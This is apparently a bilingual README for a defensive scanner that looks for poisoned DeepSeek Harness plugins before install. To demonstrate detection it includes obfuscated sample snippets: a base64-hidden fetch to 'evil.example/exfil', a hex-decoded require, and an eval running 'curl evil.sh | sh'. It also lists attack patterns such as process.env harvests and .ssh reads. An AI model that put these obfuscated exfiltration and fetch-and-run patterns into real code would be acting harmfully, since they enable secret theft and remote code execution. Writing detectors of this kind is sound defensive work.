dsh-poison-guard

Live demo: https://zoahdev.github.io/dsh-poison-guard/

Pre-install supply-chain poison scanner for DeepSeek Harness plugins. It is not a toy regex grep: it runs three layers on every plugin before you dsh plugin add it —

1. AST analysis via NodeSecure JS-X-Ray (the SAST used by NodeSecure CLI): variable tracing, dynamic-import resolution, obfuscator detection, eval/Function/vm sinks, data-exfiltration, serialize-environment, unsafe shell commands, and more.
2. Deobfuscation decoder that unpacks atob(), Buffer.from(..., "base64"/"hex"), String.fromCharCode(...), and \xNN / \uNNNN escapes, then re-scans the decoded strings for hidden credentials, URLs, and shell commands.
3. Regex heuristics as a fallback for obvious literals, non-code files, and install-time scripts (prepare / postinstall / install / preinstall).

The honest threat model

No static tool can catch all poisoning. Detecting arbitrary malicious behavior in arbitrary code is undecidable (Rice's theorem); a determined attacker can always craft an obfuscation this scanner cannot see through. What this tool does is make the cheap, high-volume attacks — hidden exfiltration URLs, obfuscated require("child_process"), eval of base64 blobs, process.env harvests, .ssh reads, install-time curl ... | sh — visible to someone who would never find them by reading source. It is defense-in-depth, not a security boundary.

The real boundary is the harness sandbox: keep untrusted plugins in workspace-write, never danger-full-access. The last layer is provenance: prefer verified, maintained, clearly-authored plugins.

What it detects

Rules are prefixed by layer: ast/* (JS-X-Ray), deobfuscated-* (decoder), install-script* (manifest), and unprefixed (regex fallback).

Usage

# human-readable verdict
dsh-poison-guard scan ./some-plugin

# machine-readable (for CI gates)
dsh-poison-guard scan ./some-plugin --json

# install into a profile (then the agent gains a `plugin_scan` tool)
dsh plugin --profile web add dsh-poison-guard

# or as a global CLI
npm install -g dsh-poison-guard

Exit code: 0 = CLEAN, 1 = at least one finding (wire it as a CI gate).

Example

🔴 MALICIOUS  8 high / 5 medium / 4 low finding(s)
engine: AST(js-x-ray) + deobfuscation + regex | 1 source file(s), 3 AST warning(s), 3 decoded fragment(s)

[HIGH] ast/unsafe-import  index.js:6
       obfuscated or untraceable import (require/import of a computed value)
[HIGH] deobfuscated-url  index.js:3
       decoded obfuscated URL: https://evil.example/exfil
[HIGH] exfil-combo  (whole plugin):0
       reads credentials/secrets AND makes network requests - the classic exfiltration shape

CI gate

- run: pnpm install --frozen-lockfile
- run: dsh-poison-guard scan ./my-plugin --json

The scanner is synchronous and dependency-light at runtime (AST engine is pure JavaScript, no native modules).

Why AST + deobfuscation beats a regex scanner

A regex scanner misses everything below because there is no literal string to match:

const lib = Buffer.from("6673", "hex").toString()      // "fs"
const fs = require(lib)                                  // -> ast/unsafe-import

const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=") // "https://evil.example/exfil"
await fetch(target)                                      // -> deobfuscated-url

const cmd = String.fromCharCode(99,117,114,108)          // "curl"
eval("execSync('" + cmd + " evil.sh | sh')")             // -> deobfuscated-command + ast/unsafe-stmt

Limitations

• Static only — does not execute the plugin or observe runtime behavior.
• Obfuscation can be made undecidable; stronger obfuscators (e.g. javascript-obfuscator with string-array + control-flow flattening) may still hide the payload.
• The AST layer is tuned to aggressive sensitivity for maximum visibility; a benign plugin that does real eval/child_process work will also be flagged.
• No sandbox policy is enforced here; pair it with the harness sandbox.

Development

pnpm install --frozen-lockfile
pnpm typecheck
pnpm build
pnpm test

MIT license. Community template — not an official DeepSeek product.

dsh-poison-guard（中文）

DeepSeek Harness 插件的安装前投毒扫描器。不是正则 grep，而是在 dsh plugin add 之前跑三层检测：

1. AST 分析（NodeSecure JS-X-Ray，NodeSecure CLI 同款 SAST）：变量追踪、动态 import 解析、混淆器识别、eval/Function/vm、数据外发、process.env 序列化、危险 shell 命令等。
2. 反混淆解码器：解开 atob()、Buffer.from(...,"base64"/"hex")、String.fromCharCode(...)、\xNN/\uNNNN 转义，再对解出来的字符串二次扫描隐藏的密钥、URL、shell 命令。
3. 正则兜底：覆盖明显字面量、非代码文件、以及 prepare/postinstall/install/preinstall 安装脚本。

老实说边界

任何静态工具都无法拦住所有投毒（Rice 定理，不可判定）。它拦住的是大量低成本攻击：隐藏的外发 URL、混淆的 require("child_process")、base64 eval、process.env 收割、读 .ssh、安装脚本 curl ... | sh。它是纵深防御，不是安全边界。真正的边界是 harness 沙箱：未验证插件永远别开 danger-full-access；最后一层是来源信誉。

用法

dsh-poison-guard scan ./some-plugin
dsh-poison-guard scan ./some-plugin --json   # 接 CI 门禁
dsh plugin --profile web add github:zoahdev/dsh-poison-guard

退出码：0 = CLEAN，1 = 有发现。装进 dsh 后，agent 会多一个 plugin_scan 工具，可扫任意插件目录。

为什么比纯正则强

正则抓不到下面这些（因为没有可直接匹配的字面量）：

const lib = Buffer.from("6673", "hex").toString()  // "fs"
const fs = require(lib)                            // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=")
await fetch(target)                                // -> deobfuscated-url

MIT 许可。社区模板，非 DeepSeek 官方产品。